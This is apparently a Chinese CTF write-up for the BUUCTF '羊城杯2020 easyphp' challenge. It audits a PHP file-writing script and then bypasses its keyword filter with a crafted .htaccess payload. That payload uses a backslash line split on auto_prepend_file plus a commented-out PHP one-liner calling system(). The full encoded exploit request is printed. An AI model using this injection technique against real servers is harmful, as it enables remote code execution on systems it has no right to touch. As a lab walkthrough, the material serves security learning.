BUUCTF[羊城杯2020]easyphp

代码审计:

 $files = scandir('./');                          #文件目录
    foreach($files as $file) {                    #循环目录下文件文件
        if(is_file($file)){                       #如果文件不是 index.php
            if ($file !== "index.php") {
                unlink($file);                    #删除
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {    #需要传filenamecontent
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];                             #内容过滤
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {         #文件名过滤
        echo "Hacker";
        die();
    }
    $files = scandir('./');                          
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {               #如果不是index.php则删除
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");    #写入文件。
?>

思考:

我们能否 把写入a.php 然后再 注释掉后面的 helloword呢?

?filename=a.php&content=#\

BUUCTF[羊城杯2020]easyphp_第1张图片

发现,并没有执行php代码,而是 当html文本打印出来了。可能是后台只解析index.php。

思来想去,只能够利用index.php 做文章。

 $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {         #文件名过滤
        echo "Hacker";
        die();

既然filename 可以 存在  . 和英文字母。

那么我们是否能够写入 .user.ini  和 .htaccess 呢?

这里选择htaccess 是因为user.ini 需要包含 .php文件。

这里补充一下:

 .htaccess 文件中 可以使用 #  进行单行注释     且支持\来拼接上下两行语句。

pyload:

php_value auto_prepend_fil\
e .htaccess
#\

 其中利用注释符#将一句话木马写入,是因为在htaccess中是注释符的作用,但是在php执行的时候,一句话木马就会被执行

第三行的\是为了和代码最后面拼接的Hello,world也当作注释,否则hello world到第四行会执行报错

 

?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

BUUCTF[羊城杯2020]easyphp_第2张图片

 

你可能感兴趣的:(BUUCTF,php,开发语言)